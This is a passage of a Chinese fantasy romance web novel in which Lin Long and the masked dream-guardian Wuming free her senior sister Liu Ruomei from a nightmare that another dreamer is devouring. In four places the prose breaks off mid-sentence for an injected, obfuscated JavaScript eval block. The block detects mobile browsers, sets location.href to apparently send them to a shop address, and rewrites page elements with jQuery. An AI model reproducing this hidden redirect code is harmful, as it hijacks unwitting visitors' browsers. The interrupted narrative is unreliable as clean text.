过了一会儿,窸窣声消失,他拎着半个被劈开的藤球走了回来。这玩意滴着绿色的汁液,藤蔓蜷缩起来,一动不动,看起来已经死透了。 林珑不由长长松了口气。 “就是这玩意儿追着你?” “嗯。” “太弱。”他评价。 也不知是在说她,还是说那藤球,林珑怀疑他是在指桑骂槐。 他说完,从袖中取出一个瓷瓶扔给了她。 “上药。”他道。 林珑才觉得手臂和小腿上一阵火辣辣的痛,那藤蔓抽在身上跟鞭子似的,伤处发肿,手臂上的破了皮,渗出了血。 她拿着药瓶,抬眼瞅了一眼对方,守梦人清高一如往日,站在离她三步开外的距离,肩背笔直,如长刀归鞘,依然能感受到凌厉锐气。 刚被他嘲讽了一句,林珑气还没消,抬头看他,“我手麻了,抬不起来。” 守梦人回头看她。 她说:“帮我上药。” 他巍然不动。 她委屈巴巴看向伤口,轻嘶一声,“好痛——” 再抬头,对方已经到了跟前。 计划得逞,林珑笑眯眯将药瓶递给他,“记得我之前说的脱敏疗法吗?多和人接触,你的洁癖会慢慢好转的!” “洁癖?” “就是不能和人接触的习惯。” “你觉得我有洁癖?” “难道不是吗?”林珑给了他一个“不用讳疾忌医,我都懂”的眼神,秀眉一抬,眼波灵动如水。 守梦人走到她身边,指腹沾了些药粉,轻轻按在了她伤口上。 她不由自主缩了一下胳膊。 “别动。”他低声。 那药粉撒上后,先是一阵刺痛,渐渐便不痛了,红肿肉眼可见的消了下去,取而代之的是他的指腹与皮肤相触的地方爬上一阵麻痒,隐约有些发烫。 他按着伤口的动作很轻,些微的痒意像是小钩子,钩得人心猿意马,热意从肌肤相触的地方扩散开,让她脸颊也微微发烫起来。 他按着那片柔软的肌肤,像是舍不得松开,眼中有波澜迭起,暗潮涌动。 树林里,气氛有些变化。 林珑后知后觉,意识到有哪里不对,上药哪里需要这么久? “好、好了。”她默默往后挪开两步,从他手中抢过药瓶,“我自己来。” 守梦人唇角微提,起身退到了一旁。 林珑边给自己上药边琢磨——这人到底是什么情况? 难道她搞错了,他没有洁癖? 那他干嘛一直要和人保持距离呢?稍微碰他一下,反应又那么强烈。 不得不承认,她的好奇心被彻底激发了。她暗暗下定决心,一定要搞清楚这人到底是什么情况。 这么一闹,先前那点气也烟消云散了,她清了清嗓子,“咱们还是赶紧去找柳师姐吧,我有点担心她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958172|136669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “柳若眉?”他的语气有些意外。 “对啊。”林珑道,“这是柳师姐的梦境。” 他沉凝不语。 面具之下,两道如刀的眉峰敛了起来。 林珑将进入梦境之前发生的事说了一遍,“当时柳师姐身上冒出一团黑雾,我们就被拉进来了,这里是梦境中的太一宗外门。” “你看,那是七孔桥,那是寒风山……”她遥遥指着那些鲜明的地标,忽然想起来,守梦人除了名字,对她根本一无所知。 而她也一样,除了称号,她连对方叫什么都不知道。 “忘了说,我是太一宗的外门弟子。”她说,“你呢?我还没问过你,你叫什么?” “……” 半晌沉默,林珑还以为他连名字都要保密的时候,他开口了。 “无名。” “嗯?” 他默默移开视线。 “好酷!” 他愣了一下,回头对上林珑清亮双眸,“一般话本里绝顶高手才会叫这种名字!” 面具之下,那双眼睛泛起了波澜。 从未想过,这个游离俗世之外的身份,也能得到这样的夸赞。 * 片刻休整后,两人再次出发。 林珑将梦境中的遭遇说了一遍,除了师姐,她还有些担心秦师兄和刀师弟,但仔细一想,秦师兄沉稳冷静,修为也不低,应该有办法自保;刀师弟虽然胆小,但很会躲藏,说不定已经找地方藏起来了。 比起不知上哪去找他们的下落,柳师姐所在的地方反而是最好猜的。 跨过七孔桥,经过器阁和膳堂,一大片柳林东侧的闻柳居,是柳监院的住处,也是柳师姐的家,“梦核”应该就在那里。 两人商量往东边前行,一路上,无名渐渐不再跟她保持距离,面对林珑频频投来的探究视线,他淡然自若,好似不在意。 出发之前,他给了林珑一本册子。 “这是?” 这本书册很薄,只有十几页,扉页没有书名,翻开一看,每页都是一句口诀配上相应的掐诀手势——这竟是本功法手册。 “土字诀、风字诀、火字诀……” “学会它,在梦境中足够自保。” 她飞速将书册翻到最后一页,一共就八句口诀,对应八种灵根属性,简单易懂,图文并茂。 那铁钩银画的字迹,笔锋锐气逼人,字恰如其人,画也画得一丝不苟,线条明晰,像尺子量过一样,一看就知道出自谁的手笔。 单看墨宝,堪称艺术品,但看内容,修真小学生也能看懂。 这是一本专为她而写的功法,背会口诀,学会掐诀的手势,就能激发相应的灵根,用出一道术法。 有了口诀,就可以改变之前她用法术不稳定的情况,而且内容还写得这么简单,是咸鱼也能看懂并学会的程度。 他看似冷淡,实则相当心细。 林珑有点感动,“给我一天时间,我一定学会!” 守梦人:“八句口诀,要背一天?半个时辰,不会我便撕了这书。” 林珑:是她太年轻,感动个锤子。 14. 咒印 不得不说,他是懂的。 一句撕书威胁,林珑还真把八句口诀配手势都记了下来,背完忍不住对他哼声表示不满,“我背彩票号码都没这么认真过!” 他挑唇轻笑,神色轻松。 一向冷淡的人笑起来,有种莫名的感染力,林珑盯着他的长睫看呆了一瞬,默默转过头,缓过那阵惊艳感。 两人向着闻柳居出发,为了躲避那藤球,林珑一路逃出好远,他们身处西侧一片荒山中,出了山林,又走了一段路,天色渐渐暗了下来。 前方是一片宽阔广场,演武台、器阁、丹阁都在此处,是弟子们的主要活动场所。 借着月色看去,一群群弟子们在广场上游荡,宛如末日丧尸片场,那层人皮之下,不知是怎样狰狞的怪物。 林珑从树后偷偷看了一眼,觉得有些头皮发麻。 “怎么办?”她低声问。 无名抬头看了一眼月亮,“夜里他们的感知和速度都会提升,不宜硬闯,休整一夜,明早出发。” 林珑点点头。 要是有别的路就好了,他们也试过从最下游绕过去,但这梦是有边界的,下游处被封住,要去折柳居,只有这一条路走。 两人远远退回到河边,看不见那群弟子了,她才安心。 无名升起了火堆,顺手从河里捞了两条鱼来烤,林珑坐在火堆边,思绪渐渐散漫,“话说,你认识无梦仙君吗?” 他翻动烤鱼的动作一顿。 “不认识。” 林珑好奇探头:“可他认识你。” “认识我的人很多。” 她摸了摸下巴,这话说得,论名气,应该是萧无梦更有名吧? “那你和他的刀法,谁更厉害?” 无名撩起眼皮看了她一眼,“我。” 斩钉截铁,毫不犹豫。 林珑心道,这可有意思了,他们两互相都不服气对方?若能让他们见上一面,打上一场,就知道谁在说大话了。 她往无名身边挪了挪,“我觉得你说的比较可信。” 他垂眸看了她一眼,“是么?” 语调微扬,似乎心情不错。 她点头,“无梦仙君貌似身体不太好,上次见面,若不是我扶了他一把,他都要摔倒了……” 她边说,无名的眼神渐渐幽沉下来,眸中似有风暴聚集。 “他好像也睡不好——” “下次。”他握着木棍的手收紧,声调沉冷,“别让他碰你。” 林珑不明所以看了他一眼。 他闷不吭声,如一阵轻烟,转眼跃上了一旁的树干,吹冷风去了。 徒留林珑和串在木棍上圆溜溜的鱼眼对视,半晌,她拎起烤鱼啃了一口。 好鲜! 好吃! 啃着烤鱼,抬头看树上孤零零的背影,林珑心中掠过一阵迷茫。 ——刚才明明还好好的,为什么突然间就不开心? 因为萧无梦吗? 他们两有仇? 林珑美滋滋吃完了两条烤鱼,不得不说,无名的手艺真不错。想想这个人,刀法高超,会画会写,还会做饭,要不是长了张会损人的嘴,简直居家旅行必备。 看在烤鱼的份上,林珑决定不计较他突然翻脸,从腰包里取出一小块绒毯,自从上次入梦后,她特意准备,没想到这么快就派上了用场。 绒毯展开铺在树下,她试出一个舒服的姿势,眼睛一闭,没一会儿便睡着了。 阴云遮盖星月,夜色深沉。 守梦人抱着刀靠在树干上,马尾随着夜风飘拂,夜露沾衣,点染孤寂。 林珑这一觉睡得并不是很安稳,大概是因为担心柳师姐,凌晨时分,她忽然醒来,揉了揉迷蒙双眼,耳边听到一声极轻微的闷哼声。 循声望去,见无名蹲在河边,卷起衣袖露出一截线条流畅的小臂,他正撩起冰凉的河水浇在手臂上。 林珑睁大了眼睛,惊讶到失语。 对方手臂上有一串诡艳的咒文,暗色河水映衬下,赤红如血,透着令人心悸的阴邪感。 这是什么东西?! 那咒文似乎给他带来了极大的痛楚,清凉的河水浇之不散,他按着右臂,用力到手上青筋暴起,冷汗顺着下颌滚落泥土。 好一会儿,他才松开了手,脸色前所未有的苍白,紧绷的肩背松懈下来,像脱力一样坐倒,这样颓废的姿态,在他身上实在少见。 林珑拽紧了毯子,没敢惊扰他。 刚才有一阵,她连大气都不敢出,透过他的动作,仿佛能切身体会到那阵剧痛。这会儿见他似乎缓过来了,她也跟着缓了缓呼吸。 片刻后,他抬起手,按在了面具上,手腕上那枚红痣在月下如朱砂鲜明。 他似乎打算把面具取下来。 林珑的心瞬间跳得飞快。 对无名的长相,她一直十分好奇,有时候她觉得对方有点像萧无梦,有时候又觉得那只是错觉。 她忍不住伸脖子探头。 无名动作一顿,回头看了过来。 林珑:…… 僵住了。 狂跳的心终于在这一刻死了。这千载难逢的机会,竟然被对方察觉了! 他放下手看向她,声音带着些许低沉沙哑,“睡不着?” 林珑摇头,把毯子往上一拉,遮住半张脸,“我什么都没看到。” 守梦人浑身都是秘密,根据林珑多年看话本的丰富经验,知道秘密越多的人,往往死的越快。她要是看到了对方的脸也就算了,可她啥也没看到,还要背锅就太惨了。 所以坚决不能承认! 她飞速闭上眼睛,“我睡着了。” 无名:。 她平时好奇心比猫还旺盛,这种时候却一句都不多问,该说她是太聪明,还是有心想和他撇清关系? 他眼神一沉。 手臂抽痛不绝,闭上眼睛便是一片猩红血海,无尽的噩梦,绝望的眼神……他低头看自己的手,片刻抬起头,林珑正将眼睛睁开一条缝偷看他。 四目相对,气氛尴尬。 “那个……你还疼吗?”她小声问。 他沉默。 林珑抱着毯子坐起身,从垂下的柳枝上摘下一片叶子,“要不,我给你吹个曲子?” 他坐在河边,粼粼河水映着他孤高的倒影,低声问,“你会?” “可别看不起我。”林珑一挑眉,小表情很是得意。 她将柳叶横在唇边,悠扬的曲调流泻而出,柔和轻灵,像一首温柔的安眠曲。 风拂过,静静河水泛起了柔波。 “好听吗?小时候娘常给我吹这首曲子,哄我睡觉,后来她病了,就成了我吹给她听,只要吹起这首曲子,娘就会安静下来。” 他安静听着,神情逐渐平静下来。 “你真走运,一般人我可不会给他吹……”说着说着,声音越来越低。 曲子吹到一半,树叶自手边滑落,她睡着了。 绒毯簇拥着她的脸,浓翘睫毛投下浅浅暗影,肌肤雪白,嫩得仿佛能掐出水来,两腮点染浅粉。她的睡颜有种让人内心安宁的力量,看了一阵,那钻心的痛仿佛也消了下去。 他抚过右臂,听说梦境中生长着一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971726|136669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忘忧草,能让人忘记烦恼。原来让人忘忧的,并不一定是灵草。 柳枝轻拂河岸,蝉鸣声细细。 守梦人靠在另一棵树下,看着她的睡颜,直到天光破晓。 * 清早。 器阁广场前,大群大群的弟子们像丧尸一样晃来晃去。 啪嗒。 一颗小石子落地,游荡的弟子抬起头,林珑坐在高高的松树上,她眉目灵秀,鬓间簪着一支轻灵欲飞的蝴蝶发簪,缀下浅紫色流苏,月白上襦,浅紫罗裙下,一双纤细小腿轻快的晃荡。 “各位,早上好啊。”她笑眯眯跟众人打招呼。 弟子们愣了一阵,往树下聚集,又开始公式化批评柳师姐。 “别念经了。”林珑听得头疼,“师姐怎么样关你们屁事,她又不欠你们的!” 下方的弟子静默一瞬,化为怪物,无数的飞刺、藤蔓向着林珑飞去,她早有准备,单手掐诀,口中念道:“风字诀!” 一阵柔风稳稳将她托起,避开乱飞的暗器。 她手势变幻,“冰字诀!” 广场上卷起寒冰风暴,将这些弟子全都冻成了冰块。 但这些东西抗性极强,在冰块中奋力挣扎,发出令人牙酸的咔咔声。 林珑挑了挑唇角,“火字诀!” 怒火席卷,坚冰消融。 刚被冻得够呛的怪物们又被烈火焚烧,那坚硬的外皮也抵挡不住,倒地挣扎,奋力灭火,广场上乱成了一片。 林珑落回树上,对着身后道:“该你出场了!” 修长人影自林中窜出,长刀出鞘,如月惊鸿,一道凌厉的刀气如同圆弧,横扫了整座广场,摧枯拉朽般解决了这些东倒西歪的弟子,硬是从成百上千的怪物群中劈开了一道路来。 刀花一挽,他回头:“来。” 林珑咸鱼瘫在树上,眼巴巴的看着他。 刚才有多拉风,现在就有多累,八字灵诀虽然简单好用,但消耗巨大,她用了三道法诀,就把灵气抽空了。 丹田空空如也,一点力气都使不上来。 她还是头一次体会到这种全身脱力的感觉,只想瘫在这里不动弹,瘫成一滩烂泥。 无名看了她一眼,纵身上了树,收刀归鞘,伸手揽住了她的腰,带着她从树上疾掠而下,踩过几个怪物的头,潇洒离场。 片刻后。 两人在一片柳树林停了下来,林珑恢复了些力气,“没事了,你先放开……” 无名环在她腰上的手臂仍未松开,他眼中墨色浓稠,眼尾泛起了红。 肌肤相贴的地方,渐渐滚烫。 林珑顺势踩了他一脚。 他骤然回神,松开手,往旁边退了好几步。 “抱歉……” 听他道歉,林珑疑惑,她原本以为守梦人有洁癖,所以跟人保持距离,现在看来,他不像是洁癖,倒像是刻意控制着,仍然忍不住接近她。 为什么? 她是什么人形猫薄荷吗? 对面这只骄傲的猎豹,因其孤高的个性,不想屈服于本能被猫薄荷吸引,所以一直和她保持距离,极力克制,终于忍不住低下高傲的猫猫头,吸了她一口? 她让自己的猜想给雷了一下。 但看他紧绷的身体,一时难以平复急促的呼吸,都在告诉她,好像就是这么一回事。 过了好一会儿,他好像平静下来了。 林珑歪头打量他。 无名避开了她的视线,大步往前走去。 林珑一抬头,看到柳林深处,“闻柳居”的牌匾遥遥在望,他们到地方了。 15. 审判 跨过大片柳林,他们来到了闻柳居前。 这两年,监院一直在外办事,前两天才回来,柳师姐独自在闻柳居生活,她不喜欢与人来往,此处环境也十分清幽。 走进院内,四下安安静静,不见人影。 这种时候,安静到诡异的氛围,更让人心生忐忑。 林珑走到了门前,刚要伸手推门,无名看了她一眼,上前一步,“我来。” 林珑默默退到他身后,他一手按在刀鞘上,推开了房门。 柔风穿窗而过,扬起屋内的帷幔,桌椅摆得整齐,茶杯还有茶水,房间里却是空空荡荡,不见人影。 林珑纳闷道:“师姐怎么不在这?” 无名:“不对劲。” 林珑四下逛了一圈,墙边的矮柜上摆着一支蓝瓷花瓶,花瓶里,她送给师姐的那朵灵霄花色彩黯淡,花瓣打着卷,看起来没什么精神。 她伸手碰了一下花瓣。 空气中泛起看不见的涟漪,灵纹一圈圈扩散,骤然间天塌地陷,地板凭空消失,身下火舌怒卷,她猛地从高处掉下—— “啊!” 她好像从一个空间掉入了另一处空间,天空一片赤红,像被陨石砸出了一个洞,灼热的岩浆从天边倾倒而下,大地一片焦土,岩浆汇聚成河流,缓慢流动。 空气因灼热而扭曲,到处矗立着嶙峋的岩柱,林珑一路往下掉,下方就是滚烫的岩浆,上辈子没机会蹦过极,竟然在梦中体会到了。 救命! 这蹦极它没安全绳啊! 林珑的心在狂跳,大脑一片空白,身侧忽有风过。 有人稳稳拉住了她,将她带到了刀身上,无名在岩柱和熔岩之间御刀穿行,从容自若,游刃有余。 林珑站在他身后,双手抓着他的腰带,两腿发软,惊魂未定,这时候哪还顾得上别的,因为害怕而紧紧抓着他,发自真心说了句,“大侠,幸好你在!” 不然她这会儿骨头都在岩浆里游泳了。 无名肩背僵成一片,半晌,沉稳地“嗯”了一声。 林珑眨了眨眼睛,竟然没有说她弱,他转性了? 过了一会儿,她稍微缓过来,开始观察周围的情况,“师姐的梦境,为何突然会变成这样?” 无名语调深邃:“内敛的人,平时表露的不一定是自身真实的情绪。” 林珑一听便明白了,柳若眉的梦境表面一片祥和安宁,深层却是大片的岩浆火海,这大概是她压抑的愤怒。 这些愤怒得不到发泄,使得梦境一片疮痍。 “师姐到底在哪?” “看。” 他指着下方,石柱高低错落,下方有一片巨大的岩浆池,从池中伸出一根玄铁立柱,立柱上方有一块数尺见方的平台,平台上立着一道人影。 “柳师姐?!” 从虚空伸出的锁链将她吊锁在这块平台上,平台狭窄,四面没有任何防护,看起来摇摇欲坠,一个不慎就会掉进岩浆里。 在岩浆池旁边,还有两座巨大的雕像,雕像一左一右,居高临下,和平台形成了三角站位。左侧是怒目金刚,面目狰狞,手中拿着引雷锤,正对着师姐的心脏,右侧是执镜仙子,眉目冰冷,召雷镜也对准了同样的地方。 “这是审判。”无名道。 “什么意思?”林珑只觉得这场景看起来险之又险,为师姐深深捏一把汗。 “梦境即心境,这是她自己——” 他话还未说完,就被咆哮的雕像打断,那雕像仿佛活了过来,锤钻高高举起,声如雷震,“柳若眉!你好没用!” “整整一百三十年,入不得内门,你这个废物!蠢货!可耻的失败者!” 执镜的女声轻言细语,“为什么你总是做不到?为什么你就是比别人差呢?” “柳若眉,你这一辈子都没指望进内门了,你注定是笑个话,所有人都比你强,看看你这失败的人生,你好无能,好失败、好没用……” 高台之上,锁链剧烈抖动,柳若眉闭着眼睛,流下了两行眼泪。 林珑:这都是什么跟什么啊!师姐的梦境为什么会是这样的? 她眼尖看到那引雷锤尖端跃动着雷弧,忙道:“不好了,它要劈师姐了!” 无名眉一皱,指凝灵光,忽而岩浆池中,咕嘟嘟的水泡沸腾,一条巨大的火蛟自池中升腾而起,溅起熔岩如雨。 火蛟头顶着两道盘曲的角,头顶上三只赤红的眼,锁定了半空中漂浮的飞剑。 “是噩妖!” 和三只冰冷的竖瞳对视,林珑呼吸一滞。 这只噩妖给人的压迫感比石头梦境中的更强,那庞然身躯,几乎让人喘不过气。 不容思索,噩妖张开巨口,一口咬了上来! 无名纵刀疾飞,灵巧避开了这致命一咬,周围灼热的空气快要把人烧起来了,他道:“我拦住它,你去救人。” 林珑:“啊?” 你来真的吗? 她承认自己只是有点小聪明,在魔界勉强也混了一百年,但她本质还是一条咸鱼,谁会指望她救人呢!这险峻的地形,这滚烫的岩浆,也太超过她的心理承受能力了! 她缩在飞剑上,努力让自己不要掉下去,“怎么救,我不会啊!” 无名紧盯着噩妖的行动,声音很稳:“记得我说的话,驱散她内心的恐惧,就能让她清醒。” “等——” 话未说完,林珑只觉一阵风托着她飞了起来,往那摇摇欲坠的高台上落去。 守梦人注视着她,“你想救她,不是吗?” 林珑一怔,人已落在了高台上。 守梦人执刀,如鹞鹰般悬停空中,和三眼火蛟缠斗在了一起,森寒刀光映着岩浆烈火,竟将那蛟龙压了一头。 岩浆池内,噩妖愤怒的吼声震耳欲聋。 来都来了,林珑稍稍定了定心神。抬起头看柳若眉,她双手被锁链高高吊起,紧闭着眼睛,眼角有泪痕未干,紧紧皱着眉,浑身都在颤栗。 这两道锁链既锁住了她,也将她固定在高台上,不至于掉下去。 两旁的雕像一者愤怒,一者冰冷,压迫感十足的视线交织在她身上,引雷锤和召雷镜都泛起了雷光,锥心一击,蓄势待发。 这两道雷光若击中心脏,师姐也别想活了。 “师姐!” “柳师姐!” 她大声喊,摇了摇柳若眉,高台猛地晃荡两下,对方毫无反应。 这不行。 林珑心乱如麻,满头都是汗,是热出来的,也是急出来的,万一她救不了师姐怎么办?然而赶鸭子上架到了这个地步,跑是不能跑了,时间紧迫,她能做什么? 守梦人说过了,必须要驱散她内心的恐惧。 她看着那两座雕像,他说这是审判……是谁在审判师姐? 她想起严厉批评师姐的柳监院,想起梦境中那些指责师姐的弟子,这些声音交织在一起,化为一道道刻骨铭心的声音—— 你不行。 你做不到。 你是废物,是失败者。 林珑忽然明白过,这是师姐内心对自己的审判!这是她恐惧的来源,是她摆脱不掉的梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003699|136669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魇。 她懂了—— 然而来不及了! 高空中,引雷锤和召雷镜已然蓄能完毕,两道小指粗的玄雷向着柳若眉砸了下来。 关键时刻,林珑灵机一动,她也有雷! 她飞速掐诀:“雷字诀!” 一道怪异的横雷自她指尖飞出,在半空中截住了两道飞下来的雷光,将它们连通在了一起,三道雷弧在空中相撞,力量彼此化消,夺命之雷,竟然就这样离奇消失了。 居然真的可以! 果然是“只要她想,就能做到”吗? 林珑不禁乐出了声。 两座巨大的雕像陷入诡异的寂静,仿佛也被她这骚操作惊到了。 “柳若眉——” “别逼逼了!”林珑打断了雕像,大声道:“师姐,你知道外门有多好吗?为什么要一定要进内门?外门就是世界上最好的地方,我一辈子都不想离开外门!” 柳若眉的眉梢动了动。 她再接再厉,“师姐,每个人都有做不到的事,做不到一点也不丢人。你崇拜的无梦仙君,也跟普通人一样,走路不注意还会摔倒呢!” 下方正和火蛟搏斗的无名忍不住抬头看了她一眼。 林珑浑然不觉,贴在柳若眉耳边,语气温柔的说,“师姐,放过自己,不要再苛责自己了,我好心疼师姐。” “呜……” 柳若眉从齿关里泄出一声呜咽,忽然痛哭起来,边哭边睁开了红肿的眼睛。 旁边的两座雕像轰然倒塌,沉入岩浆池中,虚空中的锁链也随之消失,柳若眉身形一晃! “师姐!” 林珑紧紧抱着她,两人一齐跪坐在摇摇欲坠的高台上。 下方,无名一刀斩断了噩妖的头颅,妖血喷涌如瀑,缓缓沉入岩浆中的蛟身尾巴一卷,用尽最后一分力,生生将那玄铁高台给拽倒了! 那沉重的高台缓慢向岩浆池中倾斜—— 滚沸的岩浆热浪灼人,林珑看了一眼就一阵腿软,完了,要被烤熟了! “林珑。” 冷静的声音自下方响起,无名纵刀悬停在岩浆池上,狂涌的热浪掀得他的马尾翻飞。 “跳。”他说。 “我不敢。” 这要是跳歪了,不就进岩浆里洗澡了? “跳下来,我会接着你。” “真的?” 她伸出跃跃欲试的腿,那铁柱却突然加快了倒下的速度,她直接从平台边滑了下去! “啊!” 极速下坠,稳稳落地。 站在飞剑上的人,将她抱在了怀里。 林珑眼睫轻颤,半天才敢睁开眼睛,四目相对,她问,“师姐呢?” 无名示意她看旁边,一道透明屏障接住了掉下来的柳若眉。 她松了口气。 “为什么不用屏障接着我?” 无名挑了挑眉,屏障的宽度,原本就是准备接住两人的,她自己脚滑先掉下来了。 “你说呢?” 林珑其实有些害怕,这种时候身边有个人支撑着自己,是莫大的安慰。她缓缓平复心跳,心想,她并不讨厌这个怀抱。 无名纵刀向天,穿过天边的陨石坑洞,四周环境变了,他们回到了先前的那片柳树林。 跃下飞剑,他稳稳将林珑放下,神情克制,退开了两步。 脚再次踏上实地,林珑缓了一会儿才站稳,随即意识到不对,“师姐已经醒了,为什么我们还在梦境里?” 无名眼神一沉,道:“因为这不是柳若眉的梦。” 16. 吞噬 他这么一说,林珑后背发凉。 这不是师姐的梦,那是谁的? 细细回想进入梦境的种种,便觉察出些许不对来,在石头的梦境里,有些梦境生物会有保护梦境主人的倾向,可师姐这个梦里,所有人都对师姐充满了敌意。 她印象里,太一宗外门五千弟子,虽然她认识得不多,但大部分弟子,不会刻意嘲讽排挤同门。修道之人不喜多管闲事,习惯各人自扫门前雪。唯有一小部分弟子性格恶劣,那些背地里嘲笑柳若眉的,和喜欢从林珑身上找优越感的,都是同一批人。 虽说是噩梦,也不至于所有人都变成这样了吧? 这其中还有柳师姐的好朋友呢。 但如果这不是柳若眉的梦,会是谁的呢? “我不明白。” “这个梦的底层,确实是柳若眉的梦,但它正在被吞噬。”无名神色沉沉,“如果这个梦境被彻底吞噬,做梦者就会变成对方梦境的一部分。” 柳师姐浑身一颤。 林珑凑到他面前,认真道,“听不懂。” 她的睫毛又浓又长,眼神灵动漂亮,无名看了一眼后微微移开视线。 “梦境形成之后,会彼此扩张吞噬,强大的梦境吞噬弱小的,距离上更接近、做梦者之间彼此有关系的梦,更容易发生吞噬。在吞噬多个梦境后,初始梦境会变成难以想象的庞然大物,甚至形成独立的界域,称为梦界。” 林珑想起了自己玩过的大鱼吃小鱼的游戏,开局一条鱼,最后吃成鲲,有那味了。 无名接着说,“梦界一旦形成,做梦者便会成为界主,所有被吞噬的梦境生灵,都会成为界主的傀儡,厉害的界主,掌控整个梦界,甚至能驱使噩妖和梦妖为自己做事。” 林珑听得一愣一愣的。 原本以为做梦者是噩妖的食物,这样看来,更像是谁更强谁就能控制谁,而鲲……不是,界主,听起来就很厉害的样子,界主的存在,岂不是相当于主宰一个小世界的神明? 居然还能这样! 梦境的神秘,超乎她的想象。 “你见过界主吗?” “见过。” 他神情晦涩,林珑从其中察觉出深深的厌恶,记得当初他见到噩妖时,也是仇恨满满,他对梦境中的这些东西,似乎都相当痛恨。 她曾见过无数人的梦境连成一片星海,梦界是否就像宇宙中的黑洞一样?在广阔的梦域中,存在着多少个界主? 如果界主不断吞噬,它的上限在哪里?梦界可以无限扩大吗? 这些问题,光是想一想就让人头昏脑涨。 林珑晃了晃脑袋,决定专注眼前的问题,“所以,师姐是被一个界主盯上了吗?” “若是界主,她的梦境早就被吞了,撑不到现在。” 也就是说,对方也还在鱼苗期,但是野心勃勃的想吞掉师姐? “梦境的吞噬,相当于两个不同世界的碰撞,按理说,应该会有非常明显的迹象。”他说,“这个梦境的造物都对柳若眉充满了敌意,是受了吞噬者的影响,而我们之所以没有察觉到,说明——” “他们梦到了同一个地方!” 无名赞许地看向她,“他们都梦到了太一宗外门,柳若眉被自己内心深处的恐惧困在了梦境深层,并未察觉到自己的梦境正在被吞噬。” 这也是他一开始就有所怀疑,却不能肯定的原因。 林珑若有所思。 有的人做了噩梦,就成了噩妖的养料,而有的人还能反向操作,控制梦境吞噬别人。这就是守梦人说的“意念越强,在梦中就越强”的意思吗? 这个正在吞噬师姐梦境的人,会是谁呢? 柳若眉似乎越来越虚弱,她靠着林珑,在她掌心写下了一个字。 林珑:“……师姐,你也想到了吗?” 这无止境的批评、强烈的恶意、做梦者彼此有关,都指向了同一个人! 林珑道:“是柳监院!” 梦境中,阴沉沉的天,彤云密布。 抬头看时,林珑看到天边的景象都虚化了一刻。 “吞噬的速度正在加快。”无名道,“这个梦境坚持不了多久了。” 林珑心塞,甚至能脑补出一张血盆大口将师姐一口吞掉的场景! 怎么办,她可不想变成柳监院梦中的傀儡啊! 光是想一想就瘆得慌。 “怎么才能阻止他?” “通过两个梦境重合之处,进入对方的梦境,找到梦核,杀了他,结束噩梦。” 柳若眉脸色一白。 她紧紧握着林珑的手:“师妹,我……” 林珑道:“师姐,他都要杀你了,你还要犹豫吗?” 柳若眉神色黯淡,她娘死得早,从爹身上,她从没感受过什么是父爱,但真要她对柳监院动手,她依然感到害怕,这么多年的压迫下来,她对柳监院的恐惧是刻在骨子里的。 林珑拍了拍她,“师姐,你不是说‘只要我想,什么都能做到’吗?你也可以!” 她像小狗一样挨着师姐苍白的脸颊,“咸鱼被惹急了也要翻身呢,师姐,让他看看你的本事,告诉他,这么多年他做错了!” 她的笑容又甜又暖,像蜜糖一样,柳若眉心头涌上一阵暖意,她重重点头:“嗯。” 师妹在高台上救下她时,她心里也有什么枷锁,啪地一声解开了。 守梦人淡淡扫过两人一眼。 林珑想了想,作为“梦核”的做梦者,在梦境中的状态都不一样。石头被噩妖控制,而师姐被自己的恐惧困住,而柳监院既然能成为吞噬者,应该比他们两强多了,也许会很难对付。 现在的问题是—— “怎么找梦境重合之处?”林珑问。 无名道,“梦境被吞噬得越多,重合之处也越多。” 换言之,随着时间推移,他们随时可能进入对方的梦境里。 话音落,地面莫名震动,周围景物像是贴图错误一样扭曲,林珑一惊:这就是梦境吞噬吗? 她只看到守梦人骤变的脸色,对方焦急向她冲来,却未能靠近她,紧接着眼前一花,场景倏然改变。 “柳管事,朱雀峰弟子说你过于严厉,滥用刑罚,你有何话说?” “哼,我都是为了他们好!” 大殿内,坐着几名神色严肃的修士,柳监院站在殿中,脸色阴沉。 林珑以一种奇怪的俯视角看着这一幕,她好像飘在空中,下方的场景蒙了一层淡淡的白雾。 这是哪?刚才师姐的梦境发生了震荡,这里难道是柳监院的梦境? 守梦人和师姐怎么不见了? “不知悔改!”为首女修道,“身为管事,滥用职权,朱雀峰容不下你!我已禀明宗主,将你罚去外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 